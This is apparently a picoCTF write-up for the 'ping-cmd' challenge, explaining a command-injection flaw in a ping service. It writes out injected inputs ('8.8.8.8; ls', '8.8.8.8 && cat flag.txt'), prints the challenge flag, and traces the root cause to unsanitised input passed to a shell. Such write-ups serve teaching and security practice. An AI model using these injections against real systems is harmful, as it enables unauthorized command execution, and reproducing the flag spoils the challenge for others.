> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/ping-cmd.md).

# ping-cmd

### Initial Observation

The service asks for an IP:

```bash
Enter an IP address to ping!
```

It claims:

> Only allow `8.8.8.8`

Testing normal input:

```bash
8.8.8.8
```

→ Works as expected (runs `ping`)

***

### Identifying the Vulnerability

Given the hint:

> “Sometimes, you can run more than one command at a time.”

This suggests **command injection**.

The backend is likely doing:

```bash
ping <user_input>
```

without proper sanitization.

***

### Confirming Injection

Test with:

```bash
8.8.8.8; ls
```

Output shows:

```id="0g8u2q"
flag.txt
script.sh
```

This confirms:

* The input is executed in a shell
* Multiple commands can be injected

***

### Attempt to Read the Flag

Initial attempt:

```bash
8.8.8.8; cat flag.txt
```

This behaved inconsistently (likely due to output buffering or filtering).

***

### Successful Exploit

Using `&&`:

```bash
8.8.8.8 && cat flag.txt
```

#### Why this works:

* `&&` executes the second command only if the first succeeds
* Ensures proper command chaining and output handling

***

### Final Output

```id="r7jv5o"
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_e003709d}
```

***

### Root Cause

The application directly inserts user input into a system command:

```bash
system("ping " + input)
```

This allows attackers to:

* Inject additional commands
* Execute arbitrary system commands


---

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